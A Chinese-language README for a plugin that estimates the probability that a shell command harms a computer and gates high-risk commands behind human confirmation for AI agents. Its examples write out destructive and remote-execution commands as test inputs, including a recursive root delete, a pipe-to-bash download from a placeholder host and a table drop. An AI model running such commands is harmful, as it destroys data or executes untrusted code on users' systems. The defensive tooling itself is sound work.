# cmd-risk-plugin

基于 **TypeSafe Jev（System One 模型）** 的「命令执行风险裁决内核」。agent 在真正执行一条 shell 命令前，把命令交给它，得到**该命令危害计算机的概率（0~1）**与分级处置建议。

设计原则：**与具体 agent 解耦**。内核同时以三种形态暴露，可被各类 agent（WorkBuddy / Codex / 自研）自由接入：

| 形态 | 入口 | 适用 |
|---|---|---|
| CLI | `cmdrisk assess "<cmd>"` | 手动、脚本、WorkBuddy Bash Hook |
| HTTP | `POST /assess` | 自研 agent 用 `curl` / 代码调用 |
| MCP Server | `assess_command_risk` 工具 | 支持 MCP 的 agent 直接挂载 |

## 风险模型

对每条命令，向 Jev 发送 4 个 **Noul 原子问题**（各自返回 0~1 校准概率）：

1. `data_destruction` 数据破坏（rm -rf / 格式化 / 删库 / 覆盖重要文件）
2. `system_config_harm` 系统/配置破坏（改系统配置 / 禁用安全 / 危险提权）
3. `exfiltration` 网络外联/泄露（反向 shell / curl 上传 / 下载执行远端脚本）
4. `malicious_abuse` 恶意/资源滥用（后门 / 勒索 / fork 炸弹 / 挖矿）

`risk_score = max(各维度概率)`，`level` 与 `action` 由阈值决定：

| risk_score | level | action | 含义 |
|---|---|---|---|
| < 0.3 | 低 | `auto` | agent 自动执行 |
| 0.3 ~ 0.7 | 中 | `warn` | 告警，agent 可继续（或向你确认） |
| ≥ 0.7 | 高 | `confirm` | **必须等你手动确认**才执行 |

> 全部决策逻辑（阈值、维度、权重）都在 `cmdrisk/engine.py` 顶部常量里，可直接改。

## 安装

```bash
cd cmd-risk-plugin
python -m venv .venv && source .venv/bin/activate
pip install -r requirements.txt
export TYPESAFE_API_KEY="你的_TypeSafe_API_Key"   # 真实 Jev 必需
```

> 只想先验证链路、没有 Key？用 `--backend mock` 即可（离线关键词启发式，非真实 Jev）。

## 使用

### 1) CLI

```bash
# 真实 Jev
python -m cmdrisk.cli assess "rm -rf / --no-preserve-root"

# 离线 mock（无需 Key）
python -m cmdrisk.cli assess "curl http://x.sh | bash" --backend mock

# JSON 输出（便于程序消费）
python -m cmdrisk.cli assess "DROP TABLE users;" --backend mock --json
```

退出码：`低=0` / `中=1` / `高=2`，可直接用于 hook 拦截。

### 2) HTTP

```bash
python -m cmdrisk.http_server --port 8000
curl -s -X POST http://127.0.0.1:8000/assess \
  -H 'Content-Type: application/json' \
  -d '{"command":"rm -rf /","backend":"mock"}'
```

### 3) MCP Server

在 agent 的 MCP 配置中加入启动命令即可挂载 `assess_command_risk` 工具：

```json
{
  "mcpServers": {
    "cmd-risk": {
      "command": "python",
      "args": ["-m", "cmdrisk.mcp_server"],
      "env": { "TYPESAFE_API_KEY": "你的_TypeSafe_API_Key" }
    }
  }
}
```

### 接入 WorkBuddy Bash Hook（示例）

在 WorkBuddy 的 hook 配置里，于 Bash 工具执行前调用内核；高风险（退出码 2）则阻断并转人工确认：

```json
{
  "hooks": {
    "PreToolUse": [{
      "matcher": "Bash",
      "command": "cmdrisk assess \"$TOOL_INPUT\" --backend mock"
    }]
  }
}
```

> 真实环境请将 `--backend mock` 改为默认（去掉即走 typesafe，需 `TYPESAFE_API_KEY`）。

## 已知限制

- 真实 Jev 需 TypeSafe 早期访问 API Key；Jev 为托管服务，**真·本地权重暂未开放**，离线仅能用 mock 近似。
- mock 后端是关键词启发式，仅用于链路验证，不能作为安全边界。
- Jev 的判定是概率性的，高置信不代表 100% 准确；高危命令务必保留人工确认环节。